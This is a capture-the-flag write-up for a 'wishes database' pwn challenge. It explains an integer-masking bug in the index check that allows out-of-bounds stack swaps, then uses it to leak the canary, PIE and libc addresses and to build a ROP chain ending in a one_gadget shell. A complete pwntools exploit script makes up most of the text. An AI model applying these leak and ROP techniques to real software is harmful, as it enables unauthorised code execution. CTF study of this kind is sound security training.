Tags: rop stack libc 

Rating: 5.0

### Disclaimer
I based my solution off of https://blackbeard666.github.io/pwn_exhibit/content/2020_CTF/xmasCTF/pwn_lilwishes/pwn_lilwishes_writeup.html

### Note:
I used my own libc instead of the provided libc. It doesn't make too much of a difference. Just substitute the one gadget and some other gadgets

# Process

## Options Menu
First, we have to get to the options menu:

```
io = start()

io.recvuntil("Wishes database\n")
```

## Menu Navigation
I wrote helper scripts for menu navigation
```
def swap_ids(a, b):
io.sendlineafter("Option:", "1")
io.sendlineafter("Index 1", a)
io.sendlineafter("Index 2", b)

def print_db():
io.sendlineafter("Option:", "2")
resp = io.recvuntil("Choose:")
resp = resp.split(b'\n')
resp = resp[2:-2]
output = dict()
for i, r in enumerate(resp):
r = r.split(b" = ")
output[i] = r[-1]
return output

def add_id(i, d):
io.sendlineafter("Option:", "3")
io.sendlineafter("Index", i)
io.sendlineafter("Value:", d)
```

## Bug
The bug was that in the "swap IDs" function, the index was any integer but it would be calculated into an unsigned 2 byte (`0x0000` - `0xffff`) integer by doing `$input & 0xffff`. This means you can do an integer overflow.

For example, an input of `0xffff0009` as an integer is a valid index to swap with. Even though the binary wouldn't let you swap with index > 8, you can use `0xffff0009` which meets the >8 criteria _but_ evaluates to 9 in the end.

## Leak libc
You can leak libc base address by swapping IDs with something else in the stack. I wrote a helper function for this:

```
def leak_index(i):
i = i + 0xffff0000
swap_ids("0", str(i))
leak = print_db()
leak = leak[0]
leak = int(leak)
swap_ids("0", str(i)) # Replace the index
return leak
```

Leaking glibc would mean you do `leak_index(0xb)` which is the `libc_start_main` return address.

Note: I leaked the PIE base and the canary for posterity. I didn't use them in the end, I don't think.

## ROP to `/bin/sh`

I found a one gadget for my libc and some useful gadgets:

```
one_gadget = libc.address + 0xe6e79
pop_rsi = libc.address + 0x0000000000027529
pop_rdx_r12 = libc.address + 0x000000000011c371
pop_rbp = libc.address + 0x00000000000256c0
```

Using the same swapping bug seen before, I can put these gadgets in the stack one-by-one as a ROP chain. I wrote a helper function for this:

```
def setup_rc(rc_list):
rip_base = 0xffff000b
for gi, gadget in enumerate(rc_list):
add_id("1", str(gadget))
swap_ids("1", str(rip_base + gi))
```

All you have to do now is type in "4" to exit so that the return RIP is hit.
# Solution Script (`pwntools`)
```
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled

io = start()

io.recvuntil("Wishes database\n")

def swap_ids(a, b):
io.sendlineafter("Option:", "1")
io.sendlineafter("Index 1", a)
io.sendlineafter("Index 2", b)

def print_db():
io.sendlineafter("Option:", "2")
resp = io.recvuntil("Choose:")
resp = resp.split(b'\n')
resp = resp[2:-2]
output = dict()
for i, r in enumerate(resp):
r = r.split(b" = ")
output[i] = r[-1]
return output

def add_id(i, d):
io.sendlineafter("Option:", "3")
io.sendlineafter("Index", i)
io.sendlineafter("Value:", d)

def leak_index(i):
i = i + 0xffff0000
swap_ids("0", str(i))
leak = print_db()
leak = leak[0]
leak = int(leak)
swap_ids("0", str(i)) # Replace the index
return leak

def setup_rc(rc_list):
rip_base = 0xffff000b
for gi, gadget in enumerate(rc_list):
add_id("1", str(gadget))
swap_ids("1", str(rip_base + gi))

# DEBUG - Just set up a marker
add_id("0", str(0xdeadbeefdeadbeef))

"""
canary
rbp
rip (ret rip)
"""
# Leak canary by swapping beyond
# Canary is at 0x9 but the instructions at offset 0x00100a5d allow you to integer overflow
canary_leak = leak_index(0x9)
log.info("canary leak: {}".format(hex(canary_leak)))

pie_leak = leak_index(0x10)
log.info("pie leak: {}".format(hex(pie_leak)))
exe.address = pie_leak - 0xb50
log.info("pie base: {}".format(hex(exe.address)))

libc_leak = leak_index(0xb)
log.info("libc leak: {}".format(hex(libc_leak)))
libc.address = libc_leak - 0x270b3
log.info("libc base: {}".format(hex(libc.address)))

# Gadgets here
one_gadget = libc.address + 0xe6e79
pop_rsi = libc.address + 0x0000000000027529
pop_rdx_r12 = libc.address + 0x000000000011c371
pop_rbp = libc.address + 0x00000000000256c0
setup_rc([pop_rsi, 0x0, pop_rdx_r12, 0x0, 0x0, pop_rbp, exe.bss(offset=0x100), one_gadget])

io.sendlineafter("Option:", "4")

io.interactive()
```